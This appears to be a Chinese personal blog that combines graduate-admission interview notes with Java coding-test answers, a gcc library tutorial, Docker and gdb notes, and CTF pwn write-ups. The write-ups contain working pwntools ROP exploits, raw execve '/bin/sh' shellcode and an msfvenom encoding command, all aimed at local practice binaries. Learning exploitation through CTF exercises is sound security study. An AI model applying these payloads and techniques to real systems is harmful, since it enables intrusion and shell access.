blog

记2019年信工所六室预推免面试

2019年信工所夏令营于7月14日开营,非夏令营成员面试定于7月18日。因为信工所每年招收学生较多,所以信工所各室会在那些没有被选上参加夏令营的同学中再选一批参加各室自己的面试。比如今年夏令营只收了150人,我没选上,但是在接下来的一周陆续收到了信安国重、二室和六室的电话以及某位老师的邮件,都是问我18号有没有意愿去面试的。我最终选择报六室。 某室的老师曾解释过这批非夏令营学生是怎么筛选出来的,夏令营名单公布后,那些没被选上夏令营的同学的简历会被发到各个室的各个老师,如果老师对你的简历感兴趣就会为你的简历投一票,最终得票多的同学有机会参加18号的面试。这些非夏令营的同学除了中午管一顿饭,其余费用自理,时间是一天。上午安排体检,如果提前一天去的话晚上住在体检医院附近的宾馆是最好的。

在面试的前几天,六室会把面试需要准备的材料通过邮件或短信发给各同学,(很多人报名的邮箱填的是谷歌邮箱,但谷歌邮箱会默认把信工所的邮件视为垃圾邮件,导致很多人错过了邮件通知)。

18号上午体检完信工所安排班车接我们去六室所在的益园园区,位于北京五环,位置有点偏,园区内部和IT公司的陈设很相像。到了园区后各室会有一位老师领着学生到各自的办公地点参加考核,考核包括心理测试、笔试、机试和面试

心理测试就和学校每学期组织的心理调查问卷一样,提前准备好2B铅笔。

笔试是一张卷子45分钟,题目倒是有点新颖,和平时考的专业课完全不一样,更像是知识竞赛的题。比如给你一个数让你拆成几个连续的数的和,有多少种拆法?智能手机九宫格锁屏有多少种密码手势?最后还有一题给你函数让你写逆函数,总之和算法、逆向、编译原理等有一点关系,。虽然可以使用手机,但是在45分钟内确实做不了多少题(何况这种烧脑的题网上也不好搜),出题的学长直接就明说了这张卷子你们应该做不到30分。最后也是连蒙带猜地做出来几题。做完已经是1点多了,热心的学长学姐直接把午饭送到了笔试的机房。

面试下午2:00左右开始,很多人都是先做机试然后参加面试,或者机试做了一半去参加面试。我不想因为面试影响机试思路,所以决定先参加面试再回来做机试。面试分三轮:英语面、技术面、综合面,分别安排在三个办公室,没有固定的顺序。

  • 技术面:负责技术面试的是两位学长,开始是自我介绍,2-3分钟左右,然后学长会针对你的项目经历提问题。我在简历中写了做过工控安全网关和网络攻击工具集,学长问我这个网关的流量速度如何?对原工控设备是否有影响?什么是Land攻击(因为我项目经历里面写了land攻击)等等,可能学长对我的项目不太了解,问的问题不具有很强的技术性。但是两位学长人很友好,也没有问我专业课的问题,最后听说我做过内核学长还帮他的实验室打了一波广告。
  • 英语面:负责英语面试的是一位女老师,开始是英文自我介绍,也是2-3分钟,然后老师会根据你本科的经历用英语提一些问题,比如,学CTF多久了?有没有自己的CTF团队?团队有多少人?团队成员来自哪些学院等等,一般人都能应付。
  • 综合面:综合面试应该是最重要的一个环节了,被安排在一个大会议室里。正中央坐着六室的主任刘宝旭老师,两边各坐着两位老师,应该也是硕导博导级别的人物。开场是5分钟自我介绍(需提前准备PPT),然后是各个老师提问,老师问我做的网络攻击工具集有没有利用别的工具?攻击过程是怎样的?攻击效果怎么样?然后还有一些别的技术细节问题,因为项目都是自己做的所以回答起来并不困难。最后刘老师还问了我家庭的情况、每周是否运动、每次运动多长时间、有什么兴趣爱好、本科期间是否担任过什么职务等。以上问题都没有涉及专业课,整个面试流程还算流畅。

做机试的时候已经3点了,今年的机试和往年不一样。往年是CTF/编程二选一,今年编程是必做,1个小时3道题,CTF是选做,只有pwn、web、reverse(因为赶火车没来得及做……)。编程题3道:两道基础题一道附加题。基础题1是在一个二维数组保存的矩阵中找一个数,找到返回true,没找到返回false,这个矩阵的数从左到右依次增大,从上到下依次增大;基础题2是计算一个数转成二进制后包含多少个1;附加题是给一个数组,把数组的数拼接在一起,求怎么拼接得到的数最小, 例如输入数组{3,32,321},则拼接起来的最小数为321323 。前面的基础题就不用说了,附加题就是一道简单的ACM题。机试只能用C\C++\java,不能用python。因为在使用vs的时候遇到了一点小问题(没想到卡了20分钟),时间紧急也没来得及细想就转用java(况且eclipse带了自动补全)。

//基础题1:对每行进行二分查找
public static boolean find(int [][] matrix, int number){
	int row=matrix.length,column=matrix[0].length;
	for(int i=0;i<row;i++){
		if(number<matrix[i][0])
			break;
		else if(number>matrix[i][column-1])
			continue;
		else{
			//采用二分查找
			int min=0,max=column-1;
			if(number==matrix[i][min] || number==matrix[i][max])
				return true;
			int middle=(min+max)/2;
			while(middle !=min){
				if(number<matrix[i][middle])
					max=middle;
				else if(number>matrix[i][middle])
					min=middle;
				else
					return true;
				middle=(min+max)/2;
			}
		}
	}
	return false;
}
public static void main(String[] args) {
	// TODO Auto-generated method stub
	int [][] matrix={
			{0 ,1 ,2 ,3 ,9 ,11,14},
			{5 ,7 ,12,13,15,18,20},
			{8 ,9 ,19,20,21,40,60},
			{10,11,31,32,70,80,81},
	};
	System.out.println(find(matrix,19));
}
//基础题2:每次向右移一位,判断最低位是不是1
public static int binary(int num) {
	int count=0,r=0;
	while(num!=0){
		r=num&1;
		if(r==1)
			count++;
		num=num>>1;
	}
	return count;
}
public static void main(String[] args) {
	// TODO Auto-generated method stub
	System.out.println(binary(17));
}
//先对数组中的数进行排序,如果mn<nm,则视m<n,比如m=32,n=3,323<332,所以32<3
//这种大小比较仅是为了给数组排序,m<n意思是在拼接数字时m要排在n前面
package algorithm;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;

public class Test3 {
	public static String find_min(int [] array) {
		List<String> num_list=new ArrayList<String>();
		//数字转字符串为了防止数字太大发生溢出
		for(int i:array){
			num_list.add(String.valueOf(i));
		}
		Collections.sort(num_list, new Comparator<String>(){
			public int compare(String a,String b){
				String r1=a+b;
				String r2=b+a;
				return r1.compareTo(r2);
			}
		});
		String result=new String();
		for(String num:num_list){
			result+=num;
		}
		return result;
	}
	public static void main(String[] args) {
		// TODO Auto-generated method stub
		int [] a={321,30,321};
		System.out.println(find_min(a));
	}
}

experience:
1、信工所看重本科项目经历,面试也都是基于项目经历来问,所以本科期间在实验室做开发还是有一些帮助。但是在实验室尽量要负责一些有技术含量的模块,很多模块虽然代码量大但是没有什么难度,对于日后推免没有什么实际益处;
2、如果有编程题机试,一定要提前做题练习。虽然此次机试题不难,但是如果长期不做题,在真正机试的时候还是会有些不适应,毕竟换了个环境而且有时间限制,对做题人来说有一定的心理压力。

记2019年东南大学网络空间安全学院夏令营

东大网络空间安全学院前几年由信息学院、计算机学院等多个学院抽调老师组建而成,2018年开始以网安院名义招收研究生,今年2019年是东大网安院第一次举办夏令营,总共收到了七百多份申请,审核通过四百多份,最终入营的有三百多人。这三百人来自主要是由南京周边的学校,如南京邮电大学(28人)、河海大学(25人)、安徽大学(30人),然后还有一部分是周边如合工大、湖南大学、南昌大学等,令我意外的是西安电子科技竟然来了30多人,不得不佩服西电在计算机领域的名气~。

7月9日上午报到,下午是学院介绍和参观企业(烽火科技)。通过下午的介绍我才知道,东大一方面承担着国家给的网络空间安全模范学院建设任务,一方面自己也有着雄厚的资金,有足够的校舍、足够的实验室和足够的老师。所以东大网安院招生规模庞大,18年招收了250名左右研究生,150名左右本科生。

7月10日上午,听东大网安院的导师讲座,5位老师中一位(网安院长)是做网络安全的(如网络攻击主动防御、网络测量、恶意流量检测等,比较符合计科、信安的学生)、两位是做深度学习的、还有两位是做物联网/无线通信的。网安院老师的配置还不错,既有能做项目的导师,又有能发论文的导师。

10日下午面试,也许是面试学生太多,每个人只有5分钟左右的时间(如果老师对你感兴趣也许会多问你一些问题,时间会长一点),我的面试顺序安排在中间,等了近3个小时才轮到我(心疼后面那一半同学,据说有的组到后面就直接让学生自我介绍完就出来)。面试流程很简单,老师会看你的申请表,上面有排名、竞赛成绩和项目经历,根据这些老师就有了对你的基本评价,如果对你的基本评价不好,他就会问几个和技术没啥关系的问题,比如我面试的时候,我自我介绍完老师说我排名有点低,然后问我有没有竞赛荣誉,接着就问我你们这个产品现在是不是已经投产了、你们专业人数、你的项目个人贡献云云,总之没有什么技术上的问题。最后几乎所有的学生都被问了同样的问题:你是否报名了其他学校的夏令营?如果让你在东大和xxx大学之间选择你会选哪所?等等,似乎这个问题也对面试最终分数有一点影响。我还准备了英文自我介绍部分,可惜老师没问,老师没有问我任何和英语有关的问题。别的组有的老师问了,如果你在申请书里面写了你考过雅思/托福,老师可能会让你用英文介绍你的项目经历,如果你的英语水平一般,老师也许会让你用英文讲一下你的电话号码。

总结一下:
1、东大比较看重排名和竞赛,可能是因为第一年举办夏令营的缘故,感觉面试比较鸡肋(毕竟时间少);
2、如果有科研项目的话,一定要把自己参与成分较多的项目写在前面,有些项目虽然很高大上,但你只负责了一小模块,几乎没啥作用;
3、东大确实很大,环境很好,资源很多,食堂很好吃。

2019.7.19更
7月17号公布优秀营员名单,在名单公布之前,申请直博的同学需要联系好导师。东大还给我打了电话问我能不能确定有保研资格,估计没有保研资格的话应该就不会给优营了吧。此次优营名单有150人,占到总人数的一半,还是挺多的。

Linux环境下动态库和静态库的编译调用

实验环境

操作系统:Ubuntu 16.04

gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10)

源程序:hello.c、hello.h、star.c、starfun.h。starfun.h里面有star1函数和star2函数,我们不关心函数的功能,只要记得有star1和star2两个基本函数供其他函数调用。

/*****starfun.h*****/
#include <stdio.h>
#ifndef STARFUN_H
#define STARFUN_H
#define  NUM 4
#define  NUMBER 3
int star1() {
	int i,j,k;
	for(k=1;k<=NUM;++k) {
		for(i=1;i<=(NUM-k);++i)
			printf(" ");
		for(j=1;j<=(2*k-1);++j)
			printf("*");
  		printf("\n");
	}
	return 0;
}

int star2() {
	int i,j,k;
	for(k=NUMBER;k>=0;--k)  {
		for(i=1;i<=(NUMBER-k+1);++i)
           		printf(" ");
		for(j=1;j<=(2*k-1);++j)
			printf("*");
		printf("\n");
	}
	return 0;
}
#endif

hello.h自己定义了一个hello函数,并调用star1函数

/*hello.h*/
#include "starfun.h"
#ifndef  HELLO_H
#define  HELLO_H
void hello()   {
	star1();
	printf("hello,my friends\n");
}
#endif

hello.c内实现了showhello函数

/*hello.c*/
void showhello()  {
	hello();
}

主函数在star.c

/*star.c*/
#include "hello.h"
#include <stdio.h>
int main() {
	star1();
	star2();
	showhello();
	return 0;
}

下面把hello.c分别编译成动态库和静态库供star.c调用

动态库编译和调用

gcc -c -fpic hello.c	#生成目标文件hello.o
gcc -s -shared -o libhello.so hello.o	#生成动态库文件
sudo cp libhello.so /usr/lib	#拷贝动态库文件到/usr/lib
gcc star.c -l hello -o star	#生成最终的可执行程序star,注意star.c的位置在动态库前面
运行结果

静态库的编译和调用

ar -rc -o libhello.a hello.o	#根据已生成的hello.o生成libhello.a
gcc star.c libhello.a -o star	#调用libhello.a生成star

运行结果同上

rop技术

1、RedHat 2017 pwn1

程序功能是scanf一个字符串再打印出来

checksec pwn1,发现程序开了nx保护,于是采用rop

IDA ctrl+s找到.got.plt表,表格中有的system和scanf可以利用

.got.plt表

另外还得找一段可读可写的地址空间写入”/bin/sh”,CTRL+s查看


最终在0x0804A030找到一块0x10字节的空间可以用来存放’/bin/sh’,下面开始pwn这个程序

首先利用scanf函数的栈溢出劫持eip让其在ret时再执行一次scanf函数,并指定第二个scanf函数的两个参数

第一次scanf后的栈

根据上面的栈的分布,即可得到第一段shellcode包含的内容,最后一个scanf函数的地址则是上面找到的0x0804a030,于是第一段exp如下:

io=remote('172.17.0.2',10001)
print io.read()
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)      # %s
binsh_addr = p32(0x0804a030)    # '/bin/sh'保存的地址
main_addr=p32(0x08048531)       #scanf结束后还跳转到main 
shellcode1 = 'A'*0x34           #注:此处不是0x2c,而是0x34        
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s 
shellcode1 += binsh_addr
io.sendline(shellcode1)

第一次scanf时,输入以上代码,程序会再执行一次scanf,此时输入’/bin/sh’

io.sendline('/bin/sh')

如此,数据区多了’/bin/sh’,并且程序会跳到main继续执行,当执行到scanf的时候,我们需要把程序劫持到system函数处,并让’/bin/sh’做system的参数

shellcode2 = 'A'*0x2c           #此处还是0x2c        
shellcode2 += p32(elf.symbols['system'])
shellcode2 += main_addr
shellcode2 += binsh_addr
io.sendline(shellcode2)
io.interactive()

注:两端shellcode中用于填充多余空间的’A’的字符个数不一样,因为程序中有一行and esp, 0FFFFFFF0h,在执行第一次执行main函数时,该行指令总会让esp和ebp之间增加0x8字节,第二次执行main函数时没有增加。

2、 bugs bunny ctf 2017-pwn150

pwn150程序的功能是读取用户输入并追加到txt文件,程序开启了NX保护,考虑采用rop。该程序在today函数中已经调用了system,所以可以把rip劫持到该system函数的位置。system函数的参数”sh”可以从程序中搜索,通过alt+B搜索”73 68″即可,注意”sh”后面是0x00(或者其他字符串结束的标志)。

“sh”的位置
call system的位置

32位程序直接把函数参数按照从左向右顺序压栈,该程序是64位程序,函数参数从左向右依次放在 rdi, rsi, rdx, rcx, r8, r9,所以要设法把”sh”存到rdi。解决方案是先通过劫持rip去执行pop rdi;ret(pop以后”sh”正好在栈顶),然后再跳转去执行system函数。pop rdi;ret可以用ROPgadget搜索。

ROPgadget --binary pwn150 | grep 'pop rdi'
from pwn import *
io = remote('172.17.0.2', 10001)
pay='a'*88
pop_rdi=0x400883
sh=0x4003ef
call_sys=0x40075f
pay+=p64(pop_rdi)
pay+=p64(sh)
pay+=p64(call_sys)
io.sendline(pay)
io.recv()
io.interactive()

3、 Tamu CTF 2018-pwn5

pwn5的程序主体位于print_beginning,在这个程序中可以输入姓名和专业,输入完毕后有一个选择,输入y会进入first_day_corps函数,输入n会进入first_day_normal函数。这两个函数最后都会进入一个有1234选项的状态,输入2就可以修改之前输入的major,而change_major函数用gets获取输入,大概率这个 gets就是溢出点。(一开始直接alt+T直接搜gets也行)。

change_major

该程序中不含system函数,可以尝试搜索int 0x80,通过sys_execve获取shell

ROPgadget --binary pwn5 | grep "int 0x80"

int 0x80的参数eax=0xb,ebx=”/bin/sh”,ecx=edx=edi=0。用ROPgadget来搜索是否有pop eax; pop ebx;pop edx; pop ecx; pop edi存在。其中ebx可以指向全局变量的地址(前面的输入的姓名)。下图是ROPgadget搜索结果,

ROPgadget --binary pwn5 | grep "pop eax ; pop ebx ;"

注意选择第一条0x08095ff4,因为第二条0x080a150a中的0xa代表回车
ROPgadget --binary pwn5 | grep "pop edx ; pop ecx ;"
from pwn import *
io = remote('172.17.0.2', 10001)
io.sendline('/bin/sh')  #first name
io.sendline('a')        #last name
io.sendline('a')        #major
io.sendline('y')
io.sendline('2')
first_name_addr=0x080f1a20
int_addr=0x08071005     #int 0x80 addr
payload='A'*32
payload+=p32(0x080733b0)        #pop edx ; pop ecx ; pop ebx ; ret
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0x08095ff4)        #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret
payload+=p32(0xb)
payload+=p32(first_name_addr)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(int_addr)
io.sendline(payload)
io.interactive()

4、Security Fest CTF 2016-tvstation

在运行tvstation程序时输入4会打印出system函数在内存真正的地址,因此可以劫持rip去执行system函数。tvstation提供了pop rid;ret这一rop链(可以通过ROPgadget搜到)但没有提供/bin/sh字符串。由于程序提供了libc.so,可以考虑在该动态库中搜索/bin/sh。先查看一些libc.so文件。

readelf -a libc.so.6_x64

在symbol table中可以找到system函数的相对地址

system在symbol table中的位置

由程序打印出的system函数的虚拟地址以及system的相对地址可以计算出libc.so在内存的起始地址,通过IDA可以搜索到/bin/sh在libc.so中的地址,这个地址加上libc.so的起始地址就是/bin/sh在内存的虚拟地址。

from pwn import *
io = remote('172.17.0.2', 10001)
io.recv()
io.sendline('4')
io.recvuntil('@0x')
sys_addr=int(io.recv(12),16)
offset_addr=0x00000000000456a0	#system offset
bin_sh=0x000000000018AC40	#/bin/sh
pop_rdi=0x0000000000400c13	#pop rdi;ret
head_addr=sys_addr-offset_addr
payload='a'*0x28
payload+=p64(pop_rdi)
payload+=p64(head_addr+bin_sh)
payload+=p64(sys_addr)
io.send(payload)
io.interactive()

5、LCTF 2016-pwn100

如果动态库中不包含/bin/sh字符串怎么办?假设该题提供的libc.so文件不包含/bin/sh,因为程序中提供了read函数,考虑用read来读取/bin/sh。该题利用了了一种通用gadget,位于init(或者叫__libc_csu_init )

r12用来保存任意函数地址,rbx=0,rbp=1,r15、r14、r13用来保存函数的参数
  • 调用puts函数打印read函数的虚拟地址
  • 根据read的地址计算system的虚拟地址
  • 执行read,采用通用gadget保存read函数的参数,将/bin/sh字符串保存在某个位置
  • 劫持rip执行system函数
io = remote('172.17.0.2', 10001)
elf=ELF('./pwn100')
read_got=elf.got['read']
puts_addr=elf.plt['puts']
sys_in_lib=0x456a0
read_in_lib=0xf8880
start_ad=0x400550
pop_rdi=0x400763
payload='a'*72
gadget1=0x40075a
gadget2=0x400740
binsh_ad=0x601068		#any addr in extern section is ok
payload+=p64(pop_rdi)
payload+=p64(read_got)
payload+=p64(puts_addr)
payload+=p64(start_ad)
payload=payload.ljust(200,'a')
io.send(payload)
io.recvuntil('bye~\n')
read_va=u64(io.recv()[:-1].ljust(8,'\x00'))
lib_load_ad=read_va-read_in_lib
sys_va=lib_load_ad+sys_in_lib

payload='a'*72
payload+=p64(gadget1)
payload+=p64(0)	#rbx
payload+=p64(1)	#rbp
payload+=p64(read_got)	#r12, here is read_got not read_va!
payload+=p64(8)	#r13
payload+=p64(binsh_ad)	#r14
payload+=p64(0)	#r15	stdin
payload+=p64(gadget2)
payload+='\x00'*56
payload+=p64(start_ad)
payload=payload.ljust(200,'a')
io.send(payload)
io.recv()
io.send('/bin/sh\x00')

payload='a'*72
payload+=p64(pop_rdi)
payload+=p64(binsh_ad)
payload+=p64(sys_va)
payload=payload.ljust(200,'a')
io.send(payload)
io.interactive()
这题几个坑注意一下

1、在gadget2后面不能直接跟ret的地址,因为gadget2执行完以后还要向后执行直到init函数结束(看汇编程序结构就能理解),所以需要在后面补上56个0x00;

2、gadget2中的call指令是call qword ptr [r12+rbx*8],用的是直接寻址不是立即寻址,所以r12保存的是read在got表中的地址;

3、/bin/sh保存的位置是extern节,这个extern节是什么?Stack Overflow上有人解释这是一个pseudo segment(伪段),用来声明一些从外部库引入的API。实际调试过程中发现这个位置的数据都是0,因此把数据保存在这里不影响程序的运行。

shellcode入门练习

reference:https://bbs.ichunqiu.com/thread-42285-1-1.html

以下习题来自i春秋的学习资源

1、tyro_shellcode1

运行程序,输出一个mmp内存地址,然后等待用户输入。看源码知道是用read函数接受用户输入并把输入的东西作为函数执行

程序代码部分截图

于是输入shellcode到v4然后让程序执行即可获取shell然后再拿到flag,由于代码中read的长度是0x20个字节,所以shellcode长度不能超过32。

shellcode='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
shellcode在程序中被执行

2、b_64_b_tuff

阅读代码,知道程序会对用户输入进行base64编码,然后再执行,也就是我们输入的必须是shellcode解码后的内容,但是能被base64解码的只能是0-9,a-z,A-Z,+/=,因此需要对shellcode进行编码使其可被base64解码

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux  

payload文件的内容:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIdqiYkGkQx0FkBqu8toToRSsX0hToSRSYBNMYJChMopAA

exp如下

from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
shellcode=b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
io.interactive()

3、pilot

运行程序,提供了一个地址,阅读代码知道这个地址是buf的地址,程序通过read把输入存到buf里面,read限制接收0x40个字节

代码部分截图

buf的起止地址和栈中保存的rbp相差0x20个字节,和rip差0x28个字节

所以本题可以通过栈溢出劫持rip到我们的shellcode,shellcode所在的地址(即buf的地址)已经被输出

io = remote('172.17.0.2', 10001)
io.recvuntil("Location:")
address = int(io.recv()[0:14], 16)
shellcode='\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
exp=shellcode+'\x90'*(0x28-len(shellcode))+p64(address)
io.sendline(exp)
io.interactive()

注:本题在i春秋的原版文章用的是另外一个shellcode,由于那个shellcode在执行过程中会因为shellcode中的push操作导致shellcode被修改,所以那个shellcode必须截成两端执行。我采用了一个较短的shellcode,规避了这个问题。

4、pwn1

代码很短,只是scanf一个数保存到v4,v4在栈中和rbp相差0x10字节,和rip相差0x18个字节

代码截图

在上题中我的shellcode正好就是是0x18个字节,可以完全覆盖v4到rbp这24字节。shellcode开始执行后,栈中状态如下:

我的shellcode中有一步push操作(见下图push rbx)

shellcode汇编形态

而我的shellcode 和rsp之间刚有一个8字节的空间(上图两个红框之间)可以用来保存这个push,同时shellcode不被篡改

io=remote('172.17.0.2',10001)
address=int(io.recv(),16)
shellcode='\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
io.sendline(shellcode+p64(address))
io.interactive()

注:i春秋的学习资料提供的方法是把shellcode写在rip下面,并把rip劫持到这个位置。

5、apprentice_www

阅读代码可知,程序用v1,v2需要接受用户输入两个数字。v1用来scanf一个地址,并且这个地址的数据可以被用户输入的v2改写

代码部分截图

显示我们想用v2来输入shellcode,但是v2每次只改写一个字节,所以必须设法让程序执行多次scanf,所以第一步就要修改jnz short loc_80485E9,让他跳转到0x0804859D,重复执行scanf

跳转代码截图

jnz的机器码是0x75(地址:0x080485D9),0x0E(地址:0x080485DA)表示向后跳14个字节。要修改jnz的位置,就要修改 0x080485DA 的值,所以v1要输入0x080485DA 。由于我要跳转的位置是0x0804859d

0x0804859d – 0x080485db = 0xc2,所以v2就是0xc2。至此,我就可以循环调用scanf输入shellcode

成功修改

后面输入shellcode的原理与以上类似,我把shellcode放到以0x080485db为起始地址的位置。输完shellcode后,还是让v1输入存0x080485da,v2输入0,此时v1保存的地址没啥实际意义,关键是v2要为0,才能保证程序不会跳到jnz指向的地方而是去执行我的shellcode

from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
patch_jne_address = 0x080485da        #jnz loc_80485E9所在地址
shellcode_address = 0x080485db        #shellcode放置的地址 
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
io.sendline(str(patch_jne_address))
io.sendline(str(0xc2))
for i in xrange(len(shellcode)):
    io.sendline(str(shellcode_address+i))
    io.sendline(str(ord(shellcode[i]))) 
io.sendline(str(patch_jne_address))
io.sendline(str(0x00))
io.recv()
io.interactive()

栈溢出入门练习

pwn学习资源

环境配置:https://bbs.ichunqiu.com/thread-42239-1-1.html

栈溢出基础:https://bbs.ichunqiu.com/thread-42241-1-1.html

以上由i春秋提供,适合新手学习,栈溢出基础这一章后面留了三个习题,做题记录如下。

1、warmup

程序运行,输出了一个地址

ida查看代码,逻辑很简单,输出一个地址,然后gets获取输入

int __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [sp+0h] [bp-80h]@1
char v5; // [sp+40h] [bp-40h]@1
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

双击sub_40060d,发现0x40060d这个位置的函数是打开flag文件

所以本题目标就是要让程序跳转到这个位置,即设法让eip变成0x40060d。源码中gets是一个溢出点,gets的内容在v5内。在栈中,v5的起始地址和ebp相差0x40个字节,ebp占8字节,跟在ebp后面的是离开main函数时的eip

程序运行的栈

所以只要输入0x40+8个字节+0x40060d,即可修改栈中eip的值

from pwn import*
io=remote('172.17.0.2',10001) #这个IP和port是我本地的docker的IP和port
print io.recv()
payload='a'*72+p64(0x40060d)
io.sendline(payload)
print io.recv()

2、doubly_dangerous

运行程序,提示需要输入字符串。阅读源码,知道题目要求是让v5等于11.28125才能执行give_flag函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+Ch] [bp-4Ch]@1
float v5; // [sp+4Ch] [bp-Ch]@1
v5 = 0.0;
puts("Give me a string: ");
gets(&s);
if ( 11.28125 == v5 )
{
puts("Success! Here is your flag:");
give_flag();
}
else
{
puts("nope!");
}
return 0;
}

v5的值可以借助gets的栈溢出而被覆盖,v5离保存s的起始地址的相距0x40 bytes,所以payload=’a’*0x40+’\x00\x80\x34\xx=41′

3、pwn1

运行程序,提示输入,结合源码可知,用户输入的’I’会被替换成’you’,且源码中提供了一个give_flag。初步设想通过s来劫持eip到give_flag,但是要实现溢出还需要输入额外的64字节,而fgets只读入32字节。所以通过上面把I替换成you的方式,让输入的give_flag的地址后移到eip的位置。

初步设想通过s来劫持eip到give_flag,但是要实现溢出还需要输入额外的64字节,而fgets只读入32字节。所以通过上面把I替换成you的方式,让输入的give_flag的地址后移到eip的位置。

payload='I'*20+'aaaa'+p32(0x08048f0d)

这样在替换以后是’youyou·····youaaaa\x08\x04\x8f\x0d’,正好可以覆盖eip

程序运行的栈实况

4、just_do_it

运行程序,提示需要输入密码,结合代码可知存在fgets存在栈溢出

代码部分截图

密码在代码的数据段可以找到,但即使输入正确的密码也只是返回”correct password·····”。本题的思路是通过栈溢出覆盖v6,把v6的地址改成flag的地址,注意payload不能有正确的密码,那样会导致v6被success_message覆盖

payload='a'*20+p32(0x0804a080)#0x04a080是flag的地址
输入payload后的栈

kali rolling安装docker

  • 检测系统版本:

  • 需要安装一些软件包,使apt能够通过https操作repository
$ sudo apt-get install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg2 \
    software-properties-common

安装docker官方的gpg密钥

$ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -

导入docker的安装源

echo "deb https://download.docker.com/linux/debian stretch stable" >> /etc/apt/sources.list

导入以后更新一下源 apt-get update,再安装docker

apt install docker-ce

新版的docker安装的时候都叫docker-ce,docker-engine都是older-version,详见:https://docs.docker.com/install/linux/docker-ce/debian/

检测是否安装成功:

docker -v

linux gdb简单调试

  • 编译
gcc -g test.c -o t.out  //指定-g参数

以test.c为例:

  • gdb调试
gdb t.out

假设只有一个main函数,在main函数处下breakpoint

b main(或者break main)(下断点是第一步)
run 程序开始调试(一般是第二步)
continue 继续运行,直达下一个断点
next 运行下一步
下面几个我认为比较重要和常见
layout src 显示源代码
layout asm 显示汇编
layout regs 显示当前寄存器
layout split 显示源代码和反汇编窗口

reference:https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/gdb.html